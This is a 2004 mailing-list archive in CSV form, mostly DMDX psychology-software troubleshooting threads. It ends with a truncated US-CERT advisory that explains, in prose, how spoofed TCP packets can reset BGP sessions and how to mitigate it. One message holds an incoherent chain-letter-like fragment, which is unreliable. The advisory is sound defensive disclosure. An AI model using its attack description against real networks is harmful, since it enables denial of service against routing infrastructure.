hjweiden@email.arizona.edu,DMDX@psy1.psych.arizona.edu,"Fri, 16 Apr 2004 12:50:38 -0700",[DMDX] Digital Video,"Hello all, When I run the digital video test it tells me ""VFW_E_NOT_FOUND"". I just downloaded the latest version of DMDX and DIRECTX (Quartz.dll is on the machine, DXDiag doen't indicate any errors). I'm running on a Pentium III processor with 126mg RAM. Any hints on what I am missing/doing wrong? Hollis Weidenbacher ",0,0 abdessatar mahfoudhi ,DMDX@psy1.psych.arizona.edu,"Fri, 16 Apr 2004 14:10:34 -0700",[DMDX] Re: Primary memory surface..,"Thank you, I turned off all applications and the problem persists: ""Get DC for primary memory surface failed! DDERR_SURFACELOST(887601C2) Access to this surface is being refused because the surface is gone. The DIRECTDRAW SURFACE object representing this surface should have restore called on it."" I also retested the video modes and now none works! Do you think I should get a new video card with its separate memory? Abdessatar Mahfoudhi PhD Linguistics Program Univeristy of Ottawa 70 Laurier Ave East Ottawa, On K1N 6N5 Phone: (613) 562 5800 ext 1769 --------------------------------- Do you Yahoo!? Yahoo! Tax Center - File online by April 15th",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 16 Apr 2004 14:10:11 -0700",[DMDX] Re: Digital Video,"At 12:50 PM 4/16/2004 -0700, you wrote: >Hello all, > >When I run the digital video test it tells me ""VFW_E_NOT_FOUND"". I just >downloaded the latest version of DMDX and DIRECTX (Quartz.dll is on the >machine, >DXDiag doen't indicate any errors). I'm running on a Pentium III processor >with 126mg RAM. Any hints on what I am missing/doing wrong? The codec that's used to encode that digital video file isn't installed on the machine you're playing it on. Try another file type if you're just testing it. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Life is a process, not a principle, a mystery to be lived, not a problem to be solved. - Gerard Straub, television producer and author (stolen from Frank Herbert??) ",0,0 hjweiden@email.arizona.edu,DMDX@psy1.psych.arizona.edu,"Fri, 16 Apr 2004 15:08:53 -0700",[DMDX] Re: Digital Video,"Quoting ""Jonathan C. Forster"" : > At 12:50 PM 4/16/2004 -0700, you wrote: > >Hello all, > > > >When I run the digital video test it tells me ""VFW_E_NOT_FOUND"". I just > >downloaded the latest version of DMDX and DIRECTX (Quartz.dll is on the > >machine, > >DXDiag doen't indicate any errors). I'm running on a Pentium III processor > >with 126mg RAM. Any hints on what I am missing/doing wrong? > > > The codec that's used to encode that digital video file isn't installed > on the machine you're playing it on. Try another file type if you're just > testing it. Well, I did want to *use* it...figured the test was a good place to start... I tried it on a ""mov"" file I want to play & it told me that VFW_E couldn't connect. What's a codec & where do I get one? ;}",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 16 Apr 2004 18:22:10 -0700",[DMDX] Re: Primary memory surface..,"At 02:10 PM 4/16/2004 -0700, you wrote: >Thank you, >I turned off all applications and the problem persists: > >""Get >DC for primary memory surface failed! >DDERR_SURFACELOST(887601C2) >Access to this surface is being refused because the surface is gone. The >DIRECTDRAW SURFACE object representing this surface should have restore >called on it."" >I also retested the video modes and now none works! > >Do you think I should get a new video card with its separate memory? Probably. Memory surfaces aren't supposed to be losable -- no matter what. On the other hand if you're using Windows 98 or ME it's possible to get the OS and it's video drivers totally snarled, so it may just need some major fiddling done to it. Things like deleting the video card in the device manager and letting it find it again. Later video drivers also work. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Only two things are infinite, the universe and human stupidity, and I'm not sure about the former."" - Albert Einstein (1879-1955) ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 16 Apr 2004 18:24:51 -0700",[DMDX] Re: Digital Video,"At 03:08 PM 4/16/2004 -0700, you wrote: >Quoting ""Jonathan C. Forster"" : > > > The codec that's used to encode that digital video file isn't installed > > on the machine you're playing it on. Try another file type if you're just > > testing it. > >Well, I did want to *use* it...figured the test was a good place to start... >I tried it on a ""mov"" file I want to play & it told me that VFW_E couldn't >connect. What's a codec & where do I get one? ;} A codec is a coder / decoder and it's software that's added to a machine to do things like deal with .MOV files, in this case by Apple. Add their Quicktime stuff and DMDX will probably be able to play .MOV files. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Only two things are infinite, the universe and human stupidity, and I'm not sure about the former."" - Albert Einstein (1879-1955)",0,0 Keith Majoos ,DMDX@psy1.psych.arizona.edu,"Sat, 17 Apr 2004 12:20:08 +1000",[DMDX] Re: TimeDX 3.1.01,"Jonathan, I’ve downloaded the latest DMDX on a second computer and I get the same error, “FAILED TO FIND 100 CYCLES WITHOUT A MISSED RETRACE AFTER 500 CYCLES”, when trying to set the Time Video Mode. The Vertical Retrace Sync Test Screen has some peculiar numbers. For example, the “Refresh Rate” has value “0.000” for “Tuned Value”, “Automatic Value” and “Registry”. The Sleep Times has value 4294967293 for “Tuned Value”, “Automatic Value” and “Registry”. The 4294967293 value for Sleep Time looks familiar, it’s twice the maximum value for a long integer (2,147,483,647 times 2) variable, which suggests a minor variable declarative error or a variable overflow error in your code. Its a possibility! This computer is a AMD Athlon XP2100+ 1.74Ghz, 512 MB, 32MB Video On-Board motherboard Running XP windows. I try an older version of DMDX and see if it works. Warm regards, Keith Majoos Psychology Department University of New England Armidale, NSW Australia > At 05:09 PM 4/16/2004 +1000, you wrote: > >Folks, > > > >I'm running the TimeDX program setting my computer's video mode, and I > >get the following error: > > > >""FAILED TO FIND 100 CYCLES WITHOUT A MISSED RETRACE AFTER 500 CYCLES"". > >When running vertical retrace, I get the same message as to be > >expected. > > > >I'm attempting to run DMDX on a system with: > >Pentium 4, 2.66GHz; 512 RAM, ATI 9000 Video card > > > >and XP v2002 with SP 1. > > You are using the latest DMDX I hope? If so you probably want to hunt > up some new video drivers. If the latest ones still carry on like that > then you'll have to hunt up some old ones. The trouble is with these high > performance cards is that in order to make their card look the best in > benchmarks the drivers do all sorts of borderline illegal things and that > often screws up TimeDX, sometimes the plane jane video card is a superior > choice. If you can't get it to stabilize under any circumstances you will > have to use the Refresh Rate test and lower the number cycles that it looks > for without an error (the Number of Cycles to Time). > > And that's 512 megabytes of RAM, like ""512MB RAM"" ;) > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Apparently a teacher has been arrested in possession of > compasses, protractors, and a straight edge. It is claimed he is > a member of the Al Gebra movement bearing weapons of math > instruction. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. 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(heartless) So that hate therebye also creates incanety is no surprise.(brain) Sending this letter will bring you luck Sending this letter will bring you luck next time the law system & karma & always keep safety zone to guns !fix the human ""PC"" www.silva and the alfabet system (negative thinking makes more minus in your account) (negative thinking makes more minus in your account) christmas celebrates with coffe cake chips coca cola cream cake crack cigarettes can cause cancer ",1,0 Keith Majoos ,DMDX@psy1.psych.arizona.edu,"Sat, 17 Apr 2004 14:27:12 +1000",[DMDX] Re: TimeDX 3.1.01,"Jonathan, I've loaded an older version of DMDX -- TimeDX 3.1.00 and DMDX 3.0.2.5 and the demo programs work. warm regards, Keith Majoos ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 16 Apr 2004 23:18:12 -0700",[DMDX] Re: TimeDX 3.1.01,"At 02:27 PM 4/17/2004 +1000, you wrote: >Jonathan, > >I've loaded an older version of DMDX -- TimeDX 3.1.00 and DMDX 3.0.2.5 >and the demo programs work. Hmm, there's no difference between 3.1.01 and 3.1.00 that I can see that would affect the video refresh synchronizing. I've seen on a couple of odd machines recently that I've had to turn off the Read Between Flips to Stop Cheating drivers. You can also turn off the Enhanced Retrace Rate detection if all else fails but I don't recommend it, the old routines could think they were working when they weren't. Happily the worst mistake that can be made is that a frame is presented for one tick longer than what DMDX thinks a tick is. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Only two things are infinite, the universe and human stupidity, and I'm not sure about the former."" - Albert Einstein (1879-1955) ",0,0 hjweiden@email.arizona.edu,DMDX@psy1.psych.arizona.edu,"Sat, 17 Apr 2004 16:59:55 -0700",[DMDX] Re: Digital Video,"> A codec is a coder / decoder and it's software that's added to a machine > to do things like deal with .MOV files, in this case by Apple. Add their > Quicktime stuff and DMDX will probably be able to play .MOV files. I installed the latest version of Quicktime (6.5) and it still says it can't connect (also says stream has clock NO, supports seeking NO). Do I need to purchase these with a pro version or something? HJW ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sat, 17 Apr 2004 22:08:12 -0700",[DMDX] Re: Digital Video,"At 04:59 PM 4/17/2004 -0700, you wrote: > > A codec is a coder / decoder and it's software that's added to a machine > > to do things like deal with .MOV files, in this case by Apple. Add their > > Quicktime stuff and DMDX will probably be able to play .MOV files. > >I installed the latest version of Quicktime (6.5) and it still says it can't >connect (also says stream has clock NO, supports seeking NO). Do I need to >purchase these with a pro version or something? Are you using the latest TimeDX? I seem to recall some silly error eons ago to do with that code but it doesn't seem likely, I don't see a record of it in the source code anyway. Maybe the codec didn't come with Quicktime, what happens when you double click on the file in the explorer? If windows can play the file DMDX should be able to and if it can't maybe there's something I need to fix. Perhaps if the files aren't massive you can send on to me (not the list). If windows can't play it then you'll have to find a codec on the Apple site somewhere or find a way to convert the files to .MPEG or some other format. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Only two things are infinite, the universe and human stupidity, and I'm not sure about the former."" - Albert Einstein (1879-1955) ",0,0 laurie cestnick ,DMDX@psy1.psych.arizona.edu,"Sun, 18 Apr 2004 01:06:22 -0500","[DMDX] ""late call back"" delaying presentations"," We have visual images being flashed on the screen in very rapid succession. The speed of the flashing does not always remain constant despite the programmed constant interstimulus interval. DMDX statesthat some images stayed on longer either because there were other programs running that took up ""ticks"", but more likely because of msec callback being too late. Given the latter explanation, how might one approach resolving a late callback? Sign up today for your Free E-mail at: http://www.canoe.ca/CanoeMail ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 18 Apr 2004 06:54:07 -0700","[DMDX] Re: ""late call back"" delaying presentations","Numerous solutions here. If you're using the D parameter () then that can cause the first frame to be late. Other solutions range from tweaking the timing parameters of that video mode (see the TimeDX documentation) to removing all extraneous applications (like RealPlayer and the Office Startup crap) to getting new video drivers to reinstalling the OS to reformatting the machine to getting new hardware (either video card or the whole machine) to trying XP if you aren't already using it and the hardware can handle it. Probably other things I'm forgetting too. At 01:06 AM 4/18/2004 -0500, you wrote: >We have visual images being flashed on the screen in very rapid >succession. The speed of the flashing does not always remain >constant despite the programmed constant interstimulus interval. >DMDX statesthat some images stayed on longer either because there >were other programs running that took up ""ticks"", but more likely >because of msec callback being too late. Given the latter >explanation, how might one approach resolving a late callback? > >Sign up today for your Free E-mail at: http://www.canoe.ca/CanoeMail >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. 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Sent: Sun, 18 Apr 2004 06:54:07 -0700 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: ""late call back"" delaying presentations   Numerous solutions here.  If you're using the D parameter () then that can cause the first frame to be late.  Other solutions range from tweaking the timing parameters of that video mode (see the TimeDX documentation) to removing all extraneous applications (like RealPlayer and the Office Startup crap) to getting new video drivers to reinstalling the OS to reformatting the machine to getting new hardware (either video card or the whole machine) to trying XP if you aren't already using it and the hardware can handle it.  Probably other things I'm forgetting too. At 01:06 AM 4/18/2004 -0500, you wrote: >We have visual images being flashed on the screen in very rapid >succession.  The speed of the flashing does not always remain >constant despite the programmed constant interstimulus interval. >DMDX statesthat some images stayed on longer either because there >were other programs running that took up ""ticks"", but more likely >because of msec callback being too late.  Given the latter >explanation, how might one approach resolving a late callback? > >Sign up today for your Free E-mail at: http://www.canoe.ca/CanoeMail >==================================================================== >    Send mail to DMDX-request@psy1.psych.arizona.edu with the word >   'unsubscribe' by itself with no quotes in the body of the email >   to be removed from the list.  The list archive is available here: >           http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >====================================================================                                                /""\\  -jonathan (j.c.f.)                            \\ /                                                 X     ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL  / \\   ""Only two things are infinite, the universe and human stupidity, and I'm not sure about the former.""                                    - Albert Einstein (1879-1955) ====================================================================   Send mail to DMDX-request@psy1.psych.arizona.edu with the word  'unsubscribe' by itself with no quotes in the body of the email  to be removed from the list.  The list archive is available here:          http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== ---- End Original Message ---- __________________________________________ Laura L. Cestnick, Ph.D. Postdoctoral Research Fellow Linquistics MIT & MGH-NMR Harvard Med www.nmr.mgh.harvard.edu/~laurie 77 Massachusetts Avenue Building E39, Room 324 Cambridge, Massachusetts 02139-4307 Office Phone: 617-253-2618 __________________________________________ Sign up today for your Free E-mail at: http://www.canoe.ca/CanoeMail",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 18 Apr 2004 13:53:11 -0700","[DMDX] Re: ""late call back"" delaying presentations","At 03:32 PM 4/18/2004 -0500, you wrote: >wow ..thanks j. >ps for some reason when i reduced the number of frames being >presented within an item, that error msg about timing went >away? ..who knows right?! ..thanks for the info. DMDX will use up to 24 frame buffers if the video card has the memory for them, otherwise it uses as many as it can make. Which means that with an older video card or a really big and deep video mode there may be fewer frame buffers than there are in an item file which means DMDX has to load frame buffers as the item is displaying. On some hardware this is no big deal, on others it's problematic and it sounds like this is exactly the issue you are facing. Sometimes this can be ameliorated by changing the Number of Lines to Blit in the Advanced Vertical Retrace Synch Test. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Only two things are infinite, the universe and human stupidity, and I'm not sure about the former."" - Albert Einstein (1879-1955) ",0,0 laurie cestnick ,DMDX@psy1.psych.arizona.edu,"Sun, 18 Apr 2004 17:20:10 -0500","[DMDX] Re: ""late call back"" delaying presentations","I will try that. Thank you. ---- Begin Original Message ---- From: ""j.c.f."" Sent: Sun, 18 Apr 2004 13:53:11 -0700 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: ""late call back"" delaying presentations At 03:32 PM 4/18/2004 -0500, you wrote: >wow ..thanks j. >ps  for some reason when i reduced the number of frames being >presented within an item, that error msg about timing went >away? ..who knows right?! ..thanks for the info.   DMDX will use up to 24 frame buffers if the video card has the memory for them, otherwise it uses as many as it can make.  Which means that with an older video card or a really big and deep video mode there may be fewer frame buffers than there are in an item file which means DMDX has to load frame buffers as the item is displaying.  On some hardware this is no big deal, on others it's problematic and it sounds like this is exactly the issue you are facing.  Sometimes this can be ameliorated by changing the Number of Lines to Blit in the Advanced Vertical Retrace Synch Test.                                                /""\\  -jonathan (j.c.f.)                            \\ /                                                 X     ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL  / \\   ""Only two things are infinite, the universe and human stupidity, and I'm not sure about the former.""                                    - Albert Einstein (1879-1955) ====================================================================   Send mail to DMDX-request@psy1.psych.arizona.edu with the word  'unsubscribe' by itself with no quotes in the body of the email  to be removed from the list.  The list archive is available here:          http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== ---- End Original Message ---- __________________________________________ Laura L. Cestnick, Ph.D. Postdoctoral Research Fellow Linquistics MIT & MGH-NMR Harvard Med www.nmr.mgh.harvard.edu/~laurie 77 Massachusetts Avenue Building E39, Room 324 Cambridge, Massachusetts 02139-4307 Office Phone: 617-253-2618 __________________________________________ Sign up today for your Free E-mail at: http://www.canoe.ca/CanoeMail",0,1 hjweiden@email.arizona.edu,DMDX@psy1.psych.arizona.edu,"Sun, 18 Apr 2004 14:44:30 -0700",[DMDX] Re: Digital Video,"> Are you using the latest TimeDX? I seem to recall some silly error eons > ago to do with that code but it doesn't seem likely, I don't see a record > of it in the source code anyway. Maybe the codec didn't come with > Quicktime, what happens when you double click on the file in the > explorer? If windows can play the file DMDX should be able to and if it > can't maybe there's something I need to fix. Perhaps if the files aren't > massive you can send on to me (not the list). If windows can't play it > then you'll have to find a codec on the Apple site somewhere or find a way > to convert the files to .MPEG or some other format. Glad you asked whether or not I could play it. I actually *could* play mov files (QT), but not mpg's or avi's. Microsoft had just nagged me into downloading Windows Media 9, and it caused me no end of trouble. I uninstalled it & went back to 7.1, -can at least play these file types from explorer. I also uninstalled and reinstalled the latest version of DMDX. Unfortnately, not only does it still say ""VFW_E_NOT_FOUND"" etc., but it will not do the Time/Video test. Plugs in the following values: Sleep-4294;Timeout-.3;Max to Blit-300;Refresh Interval-0. When I try to run the test it complains about these values. I did notice in DXDiag that Direct 3D acceleration & texture accelation arent supported -would this be a problem at all? HJW ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 18 Apr 2004 17:13:19 -0700",[DMDX] Re: Digital Video,"At 02:44 PM 4/18/2004 -0700, you wrote: >Glad you asked whether or not I could play it. I actually *could* play mov >files >(QT), Yeah, but that's not windows playing them, that's Quicktime and I'm not convinced QT actually uses windows functions to play files. > but not mpg's or avi's. Microsoft had just nagged me into downloading >Windows Media 9, and it caused me no end of trouble. I uninstalled it & went >back to 7.1, -can at least play these file types from explorer. But Windows Media Player won't play .MOVs so DMDX won't either. Sounds like you've got a balky machine there if WM 9 was causing trouble and it's XP repair time (boot on XP CD, ENTER to setup windows, R to repair the installation it should find -- don't do it with the ethernet connected or you'll get blasted, once it's booted turn the IP firewall on then plug the ethernet in and run windows update). >I also uninstalled and reinstalled the latest version of DMDX. >Unfortnately, not >only does it still say ""VFW_E_NOT_FOUND"" etc., but it will not do the >Time/Video test. Plugs in the following values: Sleep-4294;Timeout-.3;Max to >Blit-300;Refresh Interval-0. When I try to run the test it complains about >these values. If you don't repair XP you need to spend time with the Refresh Test, maybe you need to turn off Read Between Flips to Stop Cheating Drivers too. >I did notice in DXDiag that Direct 3D acceleration & texture accelation arent >supported -would this be a problem at all? It's possible that D3D acceleration does in fact need to be on. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When in doubt, mumble. When in trouble, delegate. When in charge, ponder. - Senator. David Boren ",0,0 abdessatar mahfoudhi ,DMDX@psy1.psych.arizona.edu,"Mon, 19 Apr 2004 08:29:32 -0700",[DMDX] Re: Primary memory surface..,"DMDX finally (somehow) worked after the complaints it had about surface memory and XP (and therefore DMDX) handles Arabic with no problem at all. Thank you all Thank you so much, ""j.c.f."" wrote:At 02:10 PM 4/16/2004 -0700, you wrote: >Thank you, >I turned off all applications and the problem persists: > >""Get >DC for primary memory surface failed! >DDERR_SURFACELOST(887601C2) >Access to this surface is being refused because the surface is gone. The >DIRECTDRAW SURFACE object representing this surface should have restore >called on it."" >I also retested the video modes and now none works! > >Do you think I should get a new video card with its separate memory? Probably. Memory surfaces aren't supposed to be losable -- no matter what. On the other hand if you're using Windows 98 or ME it's possible to get the OS and it's video drivers totally snarled, so it may just need some major fiddling done to it. Things like deleting the video card in the device manager and letting it find it again. Later video drivers also work. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Only two things are infinite, the universe and human stupidity, and I'm not sure about the former."" - Albert Einstein (1879-1955) ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== Abdessatar Mahfoudhi PhD Linguistics Program Univeristy of Ottawa 70 Laurier Ave East Ottawa, On K1N 6N5 Phone: (613) 562 5800 ext 1769 --------------------------------- Do you Yahoo!? Yahoo! Photos: High-quality 4x6 digital prints for 25�",0,1 hjweiden@email.arizona.edu,DMDX@psy1.psych.arizona.edu,"Mon, 19 Apr 2004 12:40:17 -0700",[DMDX] Re: Digital Video,"Hi, > Yeah, but that's not windows playing them, that's Quicktime and I'm not > convinced QT actually uses windows functions to play files. > But Windows Media Player won't play .MOVs so DMDX won't either. The help file said DMDX would support QT. -But never mind that, I could always save them into a different format. It won't run AVIs or MPGs either. Same error message (VFW_E-NOT_FOUND...). > Sounds like you've got a balky machine there if WM 9 was causing trouble and it's No arguments, my office machine is still at Win98 (no XP) and it has led an exciting life. But my lab machine has hardly been messed with at all and it doesn't work on that either (also Win98). They both have 3D acceleration enabled at this point (must have turned it off accidentally). > If you don't repair XP you need to spend time with the Refresh Test, > maybe you need to turn off Read Between Flips to Stop Cheating Drivers too. I did plug in some plausible values so at least it *runs*, but same error message on Digital Video test. I've messed with options under ""Refresh Rate (Basic) and Task Priorities"" (Advanced) to no avail. Do I have to override the DirectX refresh rate values or something? I could swear I've gotten the example to run in the test before... HJW > It's possible that D3D acceleration does in fact need to be on. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 19 Apr 2004 13:12:26 -0700",[DMDX] Re: Digital Video,"At 12:40 PM 4/19/2004 -0700, you wrote: >Hi, > > > Yeah, but that's not windows playing them, that's Quicktime and I'm not > > convinced QT actually uses windows functions to play files. > > But Windows Media Player won't play .MOVs so DMDX won't either. > >The help file said DMDX would support QT. It did when I wrote it but .MOV is moving target so getting old operating systems to work with the latest and greatest compression formats is fraught with peril. > -But never mind that, I could always >save them into a different format. It won't run AVIs or MPGs either. Same >error >message (VFW_E-NOT_FOUND...). > > > Sounds like you've got a balky machine there if WM 9 was causing > trouble and >it's > >No arguments, my office machine is still at Win98 (no XP) and it has led an >exciting life. But my lab machine has hardly been messed with at all and it >doesn't work on that either (also Win98). They both have 3D acceleration >enabled at this point (must have turned it off accidentally). If you're still using win98 all bets are off, I haven't used that in three years. Maybe four. So any advice I can give is probably wayyyy off base. > > If you don't repair XP you need to spend time with the Refresh Test, > > maybe you need to turn off Read Between Flips to Stop Cheating Drivers too. > >I did plug in some plausible values so at least it *runs*, but same error >message on Digital Video test. I've messed with options under ""Refresh Rate >(Basic) and Task Priorities"" (Advanced) to no avail. Do I have to override the >DirectX refresh rate values or something? I could swear I've gotten the >example >to run in the test before... I suspect you need to be using XP. Or at the very least reformatting and reinstalling 98 as it just plain stops working past a certain point. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A woman without a man is like a fish without a bicycle. ",0,0 hjweiden@email.arizona.edu,DMDX@psy1.psych.arizona.edu,"Mon, 19 Apr 2004 15:25:43 -0700",[DMDX] Re: Digital Video,"> I suspect you need to be using XP. Or at the very least reformatting > and reinstalling 98 as it just plain stops working past a certain point. I couldn't make it run on XP either. Has anyone ever got digital video to work in Win98 or XP? I think I must be missing some very basic step... H. Weidenbacher Cog Sci Univesity of Arizona ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 19 Apr 2004 15:56:31 -0700",[DMDX] Re: Digital Video,"At 03:25 PM 4/19/2004 -0700, you wrote: > > I suspect you need to be using XP. Or at the very least reformatting > > and reinstalling 98 as it just plain stops working past a certain point. > >I couldn't make it run on XP either. Has anyone ever got digital video to work >in Win98 or XP? I think I must be missing some very basic step... Have you tried the DVDEMO? http://psy1.psych.arizona.edu/~jforster/dmdx/DVDEMO.ZIP /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A woman without a man is like a fish without a bicycle. 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",1,1 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Tue, 20 Apr 2004 12:59:21 +0100",[DMDX] Syntax Check fonts,"When I run the syntax check on an the script for an Arabic experiment, the text is displayed in unicode and not Arabic in the window, although when I run the file it produces the correct Arabic characters. The ""ignore unknown RTF"" utility is on. Versions of DMDX and TimeDX are the latest Win2000, Arabic Enabled Dell lattitude laptop. On another machine which has a Chinese Windows partition, the normal run of the file displays the Arabic characters correctly but in the syntax check the it displays chinese characters. Is there any way I can get DMDX to display the correct characters in the syntax check? - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo *** Note New Extension - 596 *** Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB2 2EF, UK. Tel: +44 (0)1223 355294 ext 596 Fax: +44 (0)1223 359062 oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo ",0,0 abdessatar mahfoudhi ,DMDX@psy1.psych.arizona.edu,"Tue, 20 Apr 2004 07:31:46 -0700",[DMDX] Re: XP and Arabic,"Dear Pr. Woolams, I am Abdessatar Mahfoudhi from Ottawa. I was wondering if you could help me with this design question in DMDX. What is the way to distinguish target words (and their primes) in different conditions from each other as well as from fillers, and practice trials, I mean what numbers do you give them. Thank you so much Anna Woollams wrote: Dear Addessatar, > I was wondering if anyone has used XP to > design visual priming experiments with Arabic stimuli. > Any info is very much appreciated. Thank you very much You might find these pages from Mike Ford's DMDX tutorial website helpful: http://www.mrc-cbu.cam.ac.uk/Language/DMDX/paradigms/parad10.html http://www.mrc-cbu.cam.ac.uk/Language/DMDX/dmdx_arabiyya.html Good luck, Anna W. This Message is intended for the addressee named and may contain confidential information. If you are not the intended recipient, please delete it and notify the sender. Views expressed in this message are those of the individual sender and are not necessarily the views of The Macquarie Centre for Cognitive Science. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== Abdessatar Mahfoudhi PhD Linguistics Program Univeristy of Ottawa 70 Laurier Ave East Ottawa, On K1N 6N5 Phone: (613) 562 5800 ext 1769 --------------------------------- Do you Yahoo!? Yahoo! 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David Boren ",0,0 CERT Advisory ,cert-advisory@cert.org,"Tue, 20 Apr 2004 15:34:00 -0400",US-CERT Technical Cyber Security Alert TA04-111A -- Vulnerabilities in TCP ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Technical Cyber Security Alert TA04-111A archive Vulnerabilities in TCP Original release date: April 20, 2004 Last revised: -- Source: US-CERT Systems Affected * Systems that rely on persistent TCP connections, for example routers supporting BGP Overview Most implementations of the Border Gateway Protocol (BGP) rely on the Transmission Control Protocol (TCP) to maintain persistent unauthenticated network sessions. There is a vulnerability in TCP which allows remote attackers to terminate network sessions. Sustained exploitation of this vulnerability could lead to a denial of service condition; in the case of BGP systems, portions of the Internet community may be affected. Routing operations would recover quickly after such attacks ended. I. Description In 2001, the CERT Coordination Center released CA-2001-09, describing statistical weaknesses in various TCP/IP Initial Sequence generators. In that document (), it was noted by Tim Newsham: [I]f a sequence number within the receive window is known, an attacker can inject data into the session stream or terminate the connection. If the ISN value is known and the number of bytes sent already sent is known, an attacker can send a simple packet to inject data or kill the session. If these values are not known exactly, but an attacker can guess a suitable range of values, he can send out a number of packets with different sequence numbers in the range until one is accepted. The attacker need not send a packet for every sequence number, but can send packets with sequence numbers a window-size apart. If the appropriate range of sequence numbers is covered, one of these packets will be accepted. The total number of packets that needs to be sent is then given by the range to be covered divided by the fraction of the window size that is used as an increment. Paul Watson has performed the statistical analysis of this attack when the ISN is not known and has pointed out that such an attack could be viable when specifically taking into account the TCP Window size. He has also created a proof-of-concept tool demonstrating the practicality of the attack. The National Infrastructure Security Co-Ordination Centre (NISCC) has published an advisory summarizing Paul Watson's analysis in ""NISCC Vulnerability Advisory 236929,"" available at . Since TCP is an insecure protocol, it is possible to inject transport-layer packets into sessions between hosts given the right preconditions. The TCP/IP Initial Sequence Number vulnerability (http://www.kb.cert.org/vuls/id/498440) referenced in CA-2001-09 is one example of how an attacker could inject TCP packets into a session. If an attacker were to send a Reset (RST) packet for example, they would cause the TCP session between two endpoints to terminate without any further communication. The Border Gateway Protocol (BGP) is used to exchange routing information for the Internet and is primarily used by Internet Service Providers (ISPs). For detailed information about BGP and some tips for securing it, please see Cisco System's documentation ( or Team Cymru (). A vulnerable situation arises due to the fact that BGP relies on long-lived persistent TCP sessions with larger window sizes to function. When a BGP session is disrupted, the BGP application restarts and attempts to re-establish a connection to its peers. This may result in a brief loss of service until the fresh routing tables are created. In a TCP session, the endpoints can negotiate a TCP Window size. When this is taken into account, instead of attempting to send a spoofed packet with all potential sequence numbers, the attacker would only need to calculate an valid sequence number that falls within the next expected ISN plus or minus half the window size. Therefore, the larger the TCP Window size, the the larger the range of sequence numbers that will be accepted in the TCP stream. According to Paul Watson's report, with a typical xDSL data connection (80 Kbps, upstream) capable of sending of 250 packets per second (pps) to a session with a TCP Window size of 65,535 bytes, it would be possible to inject a TCP packet approximately every 5 minutes. It would take approximately 15 seconds with a T-1 (1.544 Mbps) connection. These numbers are significant when large numbers of compromised machines (often called ""botnets"" or ""zombies"") can be used to generate large amounts of packets that can be directed at a particular host. To protect against such injections, RFC 2385 provides a method of using MD5 signatures on the TCP Headers. If this form of verification is supported and enabled between two peers, then an attacker would have to obtain the key used to transmit the packet in order to successfully inject a packet into the TCP session. Another alternative would be to tunnel BGP over IPSec. Again, this would provide a form of authentication between the BGP peers and the data that they transmit. The lack of authentication when using TCP for BGP makes this type of attack more viable. US-CERT is tracking this issue as VU#415294. This reference number corresponds to CVE candidate CAN-2004-0230. NISCC is tracking this issue as Advisory 236929. II. Impact Sustained exploitation of the TCP injection vulnerability with regard to the BGP vulnerability could lead to a denial-of-service condition that could affect a large segment of the Internet community. Normal operations would most likely resume shortly after the attack stopped. Since the TCP/IP Initial Sequence Number vulnerability (VU#498440) has been proven more viable of an attack, any services or sites that rely on persistent TCP sessions could also be affected by this vulnerability. Impacts could range from data 